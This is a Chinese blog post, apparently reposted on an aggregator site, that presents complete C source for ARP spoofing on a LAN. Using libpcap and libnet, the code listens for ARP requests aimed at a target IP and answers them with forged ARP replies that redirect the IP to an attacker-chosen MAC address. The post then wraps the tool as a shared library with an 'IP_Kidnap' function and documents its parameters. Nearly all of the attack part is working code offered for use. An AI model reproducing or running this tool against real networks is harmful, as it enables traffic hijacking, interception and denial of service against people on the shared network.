zoukankan      html  css  js  c++  java
  • 基于ARP的局域网IP劫持——C语言实现

      我站在 烈烈风中

      恨不能 荡尽绵绵心痛

      望苍天 四方云动

      剑在手

      问天下谁是英雄

    ——《霸王别姬》

      阅读这篇文章之前,请确认已经熟悉ARP报文伪造的方法,可参考《ARP数据包伪造》。  

      请看下图,这是全篇文章的鸟瞰:

      要想实现上图的工作流程,必须实现两个模块:

        •自由的伪造ARP报文

        •抓取并分析所有流经网卡的数据包

      从上图中可以看出,我们可以通过BPF或者DLPI层实现数据包的抓取分析,而tcpdump的根基——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取分析。 

      关于libpcap的基础使用,请参考这篇文章《libpcap使用》。 

      下面给出一个简单的libpcap过滤抓包的程序:

     1 #include <pcap.h>
     2 #include <time.h>
     3 #include <stdlib.h>
     4 #include <stdio.h>
     5 
     6 unsigned char glTargetIP[4]={192,168,1,99};
     7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
     8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
     9 char * glNICStr="eth2";
    10 
    11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
    12 {
    13   int * id = (int *)arg;
    14   unsigned char * src_ip =glTargetIP;
    15   unsigned char * src_mac=glRetargetMac;
    16   unsigned char * dst_ip =packet+28;
    17   unsigned char * dst_mac=packet+22;
    18 
    19   printf("id: %d
    ", ++(*id));
    20   printf("Packet length: %d
    ", pkthdr->len);
    21   printf("Number of bytes: %d
    ", pkthdr->caplen);
    22   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
    23   
    24   int i;
    25   for(i=0; i<pkthdr->len; ++i)
    26   {
    27     printf(" %02x", packet[i]);
    28     if( (i + 1) % 16 == 0 )
    29     {
    30       printf("
    ");
    31     }
    32   }
    33   
    34   printf("
    
    ");
    35 }
    36 
    37 int main ()
    38 {
    39   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
    40   struct bpf_program filter;
    41 
    42   /* get a device */
    43   devStr = pcap_lookupdev(errBuf);
    44   
    45   if(devStr)
    46   {
    47     printf("success: device: %s
    ", devStr);
    48   }
    49   else
    50   {
    51     printf("error: %s
    ", errBuf);
    52     exit(1);
    53   }
    54   
    55   /* open a device, wait until a packet arrives */
    56   pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
    57   
    58   if(!device)
    59   {
    60     printf("error: pcap_open_live(): %s
    ", errBuf);
    61     exit(1);
    62   }
    63   /* set filter */
    64   pcap_compile( device,&filter,glBpfCmd,1,0 );  
    65   pcap_setfilter(device ,&filter );
    66   /* wait loop forever */
    67   int id = 0;
    68   pcap_loop(device, -1, getPacket, (u_char*)&id);
    69   
    70   pcap_close(device);
    71 
    72   return 0;
    73 }
    View Code
    gcc name.c -lpcap -o name

      结合ARP报文伪造模块,下面给出完整实现代码:

      1 #include <pcap.h>
      2 #include <time.h>
      3 #include <stdlib.h>
      4 #include <stdio.h>
      5 
      6 #include <stdio.h>
      7 #include <stdlib.h>
      8 #include <string.h>
      9 #include <unistd.h>
     10 #include <libnet.h>
     11 
     12 #define MAC_ADDR_LEN 6
     13 #define IP_ADDR_LEN 4
     14 
     15 
     16 unsigned char glTargetIP[4]={192,168,1,99};
     17 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
     18 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
     19 char * glNICStr="eth2";
     20 
     21 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
     22     unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
     23  {
     24          static char padPtr[18];
     25          libnet_t *net_t = NULL; 
     26          char err_buf[LIBNET_ERRBUF_SIZE];
     27          libnet_ptag_t p_tag; 
     28          unsigned int i=0;
     29  
     30          printf("the src_ip_str is ,uint32 src_ip is %d
    ",src_ip);
     31          printf("the dst_ip_str is ,uint32 dst_ip is %d
    ",dst_ip);
     32          
     33          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
     34          if(net_t == NULL)
     35          {
     36                  printf("libnet_init error
    ");
     37                  return 2;
     38          }
     39  
     40          p_tag = libnet_build_arp(
     41                          ARPHRD_ETHER,//hardware type ethernet
     42                          ETHERTYPE_IP,//protocol type
     43                          MAC_ADDR_LEN,//mac length
     44                          IP_ADDR_LEN,//protocol length
     45                          arpOp,//op type
     46                          (u_int8_t *)src_mac,//source mac addr
     47                          (u_int8_t *)src_ip,//source ip addr
     48                          (u_int8_t *)dst_mac,//dest mac addr
     49                          (u_int8_t *)dst_ip,//dest ip  addr
     50                          padPtr,//payload
     51                          18,//payload length
     52                          net_t,//libnet context
     53                          0//0 stands to build a new one
     54          );
     55          
     56          if(-1 == p_tag)
     57          {
     58                  printf("libnet_build_arp error
    ");
     59                  libnet_destroy(net_t);
     60                  return 3;
     61          }
     62  
     63          p_tag = libnet_build_ethernet(//create ethernet header
     64                          (u_int8_t *)dst_mac,//dest mac addr
     65                          (u_int8_t *)src_mac,//source mac addr
     66                          ETHERTYPE_ARP,//protocol type
     67                         padPtr,//payload
     68                         0,//payload length
     69                          net_t,//libnet context
     70                          0//0 to build a new one
     71          );
     72  
     73          if(-1 == p_tag)
     74          {
     75                  printf("libnet_build_ethernet error!
    ");
     76                  libnet_destroy(net_t);
     77                  return 4;
     78          }
     79          
     80          int res;
     81          i=0;
     82          for(;i<sendTimes;i++)
     83            if(-1 == (res = libnet_write(net_t)))
     84            {
     85                  printf("libnet_write error!
    ");
     86                  libnet_destroy(net_t);
     87                  return 5;
     88            }
     89          
     90          libnet_destroy(net_t);
     91          return 0;
     92  FAIL:        
     93          libnet_destroy(net_t);
     94                  return 6;
     95  }
     96 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
     97 {
     98   int * id = (int *)arg;
     99   unsigned char * src_ip =glTargetIP;
    100   unsigned char * src_mac=glRetargetMac;
    101   unsigned char * dst_ip =packet+28;
    102   unsigned char * dst_mac=packet+22;
    103   
    104   ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 
    105 
    106   printf("id: %d
    ", ++(*id));
    107   printf("Packet length: %d
    ", pkthdr->len);
    108   printf("Number of bytes: %d
    ", pkthdr->caplen);
    109   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
    110   
    111   int i;
    112   for(i=0; i<pkthdr->len; ++i)
    113   {
    114     printf(" %02x", packet[i]);
    115     if( (i + 1) % 16 == 0 )
    116     {
    117       printf("
    ");
    118     }
    119   }
    120   
    121   printf("
    
    ");
    122 }
    123 
    124 int main ()
    125 {
    126   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
    127   struct bpf_program filter;
    128 
    129   /* get a device */
    130   devStr = pcap_lookupdev(errBuf);
    131   
    132   if(devStr)
    133   {
    134     printf("success: device: %s
    ", devStr);
    135   }
    136   else
    137   {
    138     printf("error: %s
    ", errBuf);
    139     exit(1);
    140   }
    141   
    142   /* open a device, wait until a packet arrives */
    143   pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
    144   
    145   if(!device)
    146   {
    147     printf("error: pcap_open_live(): %s
    ", errBuf);
    148     exit(1);
    149   }
    150   /* set filter */
    151   pcap_compile( device,&filter,glBpfCmd,1,0 );  
    152   pcap_setfilter(device ,&filter );
    153   /* wait loop forever */
    154   int id = 0;
    155   pcap_loop(device, -1, getPacket, (u_char*)&id);
    156   
    157   pcap_close(device);
    158 
    159   return 0;
    160 }
    View Code

     这个工具的验证结果已经在文章鸟瞰图中给出。

     下面,我们将这段代码封装成为一个共享库,以供其他程序调用。 

      1 //  # gcc name.c -lnet -lpcap -shared -fPIC -o name.so
      2 #include <pcap.h>
      3 #include <time.h>
      4 #include <stdlib.h>
      5 #include <stdio.h>
      6 
      7 #include <stdio.h>
      8 #include <stdlib.h>
      9 #include <string.h>
     10 #include <unistd.h>
     11 #include <libnet.h>
     12 
     13 #define MAC_ADDR_LEN 6
     14 #define IP_ADDR_LEN 4
     15 
     16 
     17 static unsigned char * glTargetIP;
     18 static char * glBpfCmd;
     19 static unsigned char * glRetargetMac;
     20 static char * glListenNICStr;
     21 static char * glSendNICStr;
     22 
     23 
     24 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
     25     unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
     26  {
     27          static char padPtr[18];
     28          libnet_t *net_t = NULL; 
     29          char err_buf[LIBNET_ERRBUF_SIZE];
     30          libnet_ptag_t p_tag; 
     31          unsigned int i=0;
     32  
     33          printf("the src_ip_str is ,uint32 src_ip is %d
    ",src_ip);
     34          printf("the dst_ip_str is ,uint32 dst_ip is %d
    ",dst_ip);
     35          
     36          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
     37          if(net_t == NULL)
     38          {
     39                  printf("libnet_init error
    ");
     40                  return 2;
     41          }
     42  
     43          p_tag = libnet_build_arp(
     44                          ARPHRD_ETHER,//hardware type ethernet
     45                          ETHERTYPE_IP,//protocol type
     46                          MAC_ADDR_LEN,//mac length
     47                          IP_ADDR_LEN,//protocol length
     48                          arpOp,//op type
     49                          (u_int8_t *)src_mac,//source mac addr
     50                          (u_int8_t *)src_ip,//source ip addr
     51                          (u_int8_t *)dst_mac,//dest mac addr
     52                          (u_int8_t *)dst_ip,//dest ip  addr
     53                          padPtr,//payload
     54                          18,//payload length
     55                          net_t,//libnet context
     56                          0//0 stands to build a new one
     57          );
     58          
     59          if(-1 == p_tag)
     60          {
     61                  printf("libnet_build_arp error
    ");
     62                  libnet_destroy(net_t);
     63                  return 3;
     64          }
     65  
     66          p_tag = libnet_build_ethernet(//create ethernet header
     67                          (u_int8_t *)dst_mac,//dest mac addr
     68                          (u_int8_t *)src_mac,//source mac addr
     69                          ETHERTYPE_ARP,//protocol type
     70                         padPtr,//payload
     71                         0,//payload length
     72                          net_t,//libnet context
     73                          0//0 to build a new one
     74          );
     75  
     76          if(-1 == p_tag)
     77          {
     78                  printf("libnet_build_ethernet error!
    ");
     79                  libnet_destroy(net_t);
     80                  return 4;
     81          }
     82          
     83          int res;
     84          i=0;
     85          for(;i<sendTimes;i++)
     86            if(-1 == (res = libnet_write(net_t)))
     87            {
     88                  printf("libnet_write error!
    ");
     89                  libnet_destroy(net_t);
     90                  return 5;
     91            }
     92          
     93          libnet_destroy(net_t);
     94          return 0;
     95  FAIL:        
     96          libnet_destroy(net_t);
     97                  return 6;
     98  }
     99 void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
    100 {
    101   int * id = (int *)arg;
    102   unsigned char * src_ip =glTargetIP;
    103   unsigned char * src_mac=glRetargetMac;
    104   unsigned char * dst_ip =packet+28;
    105   unsigned char * dst_mac=packet+22;
    106   
    107   ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 
    108 
    109   printf("id: %d
    ", ++(*id));
    110   printf("Packet length: %d
    ", pkthdr->len);
    111   printf("Number of bytes: %d
    ", pkthdr->caplen);
    112   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
    113   
    114   int i;
    115   for(i=0; i<pkthdr->len; ++i)
    116   {
    117     printf(" %02x", packet[i]);
    118     if( (i + 1) % 16 == 0 )
    119     {
    120       printf("
    ");
    121     }
    122   }
    123   
    124   printf("
    
    ");
    125 }
    126 
    127 /* args example
    128 static unsigned char glTargetIP[4]={192,168,1,99};
    129 static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
    130 static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
    131 static char * glListenNICStr="eth2";
    132 static char * glSendNICStr="eth2";
    133 */
    134 int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
    135           unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr  )
    136 {
    137   char errBuf[PCAP_ERRBUF_SIZE], * devStr;
    138   struct bpf_program filter;
    139   glTargetIP=TargetIP;
    140   glBpfCmd=BpfCmd;
    141   glRetargetMac=RetargetMac;
    142   glSendNICStr=sendNICStr;
    143   glListenNICStr=listenNICStr;
    144 
    145   /* get a device */
    146   devStr = pcap_lookupdev(errBuf);
    147   
    148   if(devStr)
    149   {
    150     printf("success: device: %s
    ", devStr);
    151   }
    152   else
    153   {
    154     printf("error: %s
    ", errBuf);
    155     exit(1);
    156   }
    157   
    158   /* open a device, wait until a packet arrives */
    159   pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);
    160   
    161   if(!device)
    162   {
    163     printf("error: pcap_open_live(): %s
    ", errBuf);
    164     exit(1);
    165   }
    166   /* set filter */
    167   pcap_compile( device,&filter,glBpfCmd,1,0 );  
    168   pcap_setfilter(device ,&filter );
    169   /* wait loop forever */
    170   int id = 0;
    171   pcap_loop(device, -1, getPacket, (u_char*)&id);
    172   
    173   pcap_close(device);
    174 
    175   return 0;
    176 }

      编译后的结果:

      函数原型:

    int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
        unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
    /*
      dev : pointer to nic name, "eth0" for example.
      src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
      dst_mac : similar as src_mac
      src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
      dst_ip : similar as src_ip
      arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
      sendTimes : how many times this packet you want to send
    */
    int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
              unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr  )
    /*
    TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
    BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
    RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
    ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
    SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
    */

      附录:

        参考文章 《libpcap使用》 《ARP数据包伪造

  • 相关阅读:
    IDE-常用插件
    Go-竞态条件-锁
    Go-发送邮件
    复刻网络Yum源配置为本地Yum源使用
    测试
    九.查找算法
    九.多线程-PDF笔记
    八.设计模式
    八.排序算法:复杂度
    七.注解
  • 原文地址:https://www.cnblogs.com/SwordTao/p/3690838.html
Copyright © 2011-2022 走看看